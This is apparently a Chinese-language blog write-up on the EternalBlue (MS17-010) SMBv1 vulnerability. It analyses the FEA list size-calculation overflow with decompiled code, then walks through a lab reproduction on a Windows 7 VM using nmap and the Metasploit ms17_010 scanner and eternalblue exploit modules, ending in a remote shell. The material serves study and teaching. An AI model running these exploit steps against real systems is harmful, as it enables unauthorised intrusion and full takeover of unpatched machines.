漏洞简介
SMB(消息服务块)是一种协议,用于通过网络从服务器系统请求文件和打印服务。永恒之蓝是在 Windows 的 SMB 服务处理 SMB v1 请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。
原理分析
在 Windows SMB v1 中的内核态函数 srvOs2FealListToNt() 在处理 FEA(File Extended Attributes)转换时,存在缓冲区溢出漏洞。函数 srvOs2FealListToNt() 在将 FEA list 转换成 NTFEA(Winodows NT FEA) list 前会调用 srvOs2FealListSizeToNt() 函数去计算转换后的 FEA list 的大小,然后会进行如下操作:
- srvOs2FealListSizeToNt() 函数会计算 FEA list 的大小并更新待转换的 FEA list 的大小。
- 因为错误地使用 WORD 强制类型转换,导致计算出来的待转换的 FEA list 的大小比真正的 FEA list 大。
- 因为原先的总大小计算错误,导致当 FEA list 被转化为 NTFEA list 时存在缓冲区溢出。
FEA list结构如下图所示:
typedef struct _FEA {
BYTE fEA; /* 标志位 */
BYTE cbName; /* 名字长度 */
USHORT cbvalue; /* 值的长度 */
} FEA;
typedef struct _FEALIST {
ULONG cbList; /* 整个结构的总大小 */
FEA list[1]; /* FEA 结构 */
} FEALIST, *PFEALIST;
FEA 的大小被存放在 FEALIST-> cbList 中。接下来会分配一个缓冲区用来存放将 FEA list 转换为 NTFEA list 后的数据,而这一步将会用到 srvOs2FealListSizeToNt() 函数计算转换后 NTFEA list 的大小。
srvOs2FealListSizeToNt() 函数关键源码:
unsigned int _stdcall SrvOs2FealListSizeToNt(PFEALIST FeaList)
{
_DWORD *v1;
char *v2;
char *v3;
int v4;
unsigned int v6;
PFEALIST v1 = FeaList;
v6 = 0;
v2 = (char *)FealList + FeaList->cbList; //指向 list 结构末尾的指针
v3 = FeaList->list; //指向 list 结构开头的指针
if( FeaList->list < v2 ) //FEA 头部有4个字节,大小遍历整个 list 。
{
while ( v3 + 4 < v2 )
{
v4 = v3->cbValue + v3->cbName; //获得 FEA 的大小
if ( &v3[ v4 + 5 ] > v2 ) //检查是否有运行下一个 FEA, 这里加 5 是因为 cbName 是名字字符串的长度,而字符串以 null 结尾,cbName 算长度时没有加上 null 的长度。
break;
if ( RtlSizeTAdd( v6, (v4 + 12) & 0xFFFFFFFC, &v6) < 0 )
return 0;
v3 += v4 + 5;
if ( v3 >= v2 ) //检查 list 中还有没有下一个 FEA
return v6;
}
*(_WORD *)v1 = (_WORD)v3 - (_WORD)v1; //更新 cbList 的值,这里也是漏洞出现的地方。
}
return v6;
}
*(_WORD *)v1 = (_WORD)v3 - (_WORD)v1 在更新 cbList 是使用了双字的类型强转,这意味着被计算出来的大小在 4 字节范围内(事实上应该在 2 字节范围内才是正确的),而 NTFEA 的大小为 0x10fe8,当数据按照 cbList 值的大小拷贝至 NTFEA 时,就会产生缓冲区溢出。
SMB V1 中对两个相关子命令 SMB_COM_TRANSACTION2 和 SMB_COM_NT_TRANSACT 的定义不同也导致了另一个缓冲区溢出。两者都有一个 _SECONDARY 命令,当单个分组包含太多数据时使用该命令。TRANSACTION2 和 NT_TRANSACT 之间的关键区别在于,后者需要一个数据包,大小是前者的两倍。如果客户端使用 NT_TRANSACT 紧接在 TRANSACTION2 后发送精心制作的消息,则会发生 TRANSACTION2 验证错误。虽然协议识别出两个分开的子命令已被接收到,其分配的类型和尺寸的数据包仅基于接收到的最后一个数据包的类型,也就是 NT_TRANSACT 对应的数据包类型。我们知道 NT_TRANSACT 对应的数据包类型比 TRANSACTION2 的大一倍,这就导致了 TRANSACTION2 的数据包将占用比分配的更多的空间(分配时按照 TRANSACTION2 的数据包大小,而实际占用的是 TRANSACTION2 的数据包的大小),这就导致了缓冲区溢出。
通过以上两种缓冲区溢出,攻击者可以使用堆喷射技术,可以实现在指定地址分配内存,使得攻击者可以编写和执行 Shellcode 来控制系统。
漏洞复现
靶机:cn_windows_7_professional_x64
攻击机:wsl2 Kali Linux
在 Kali 中使用 nmap 探测网段存活主机(-r 命令指定连续扫描端口)
探测到存活主机 192.168.139.130,并且开启了 445 端口,永恒之蓝利用的就是 445 端口的 smb 服务。
运行命令启动msf:
msfconsole
搜索 msf-010
search ms17_010
其中 auxiliary/scanner/smb/smb_ms17_010 是扫描模块,exploit/windows/smb/ms17_010_eternalblue 是攻击 exp 。
使用扫描模块对靶机进行扫描看是否存在永恒之蓝漏洞。
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.139.130
run
结果显示靶机极易被永恒之蓝攻击,我们使用攻击模块尝试一下:
use windows/smb/ms17_010_eternalblue
set RHOST 192.168.139.130
show options //可以查看 exp 需要设置的参数,这里设置攻击机 IP 即可。
输入命令即可进行攻击
exploit
可以看到我们已经成功获取靶机 shell 。
内容来源
永恒之蓝漏洞利用机制分析
【漏洞分析】MS17-010:深入分析“永恒之蓝”漏洞
永恒之蓝漏洞复现(ms17-010)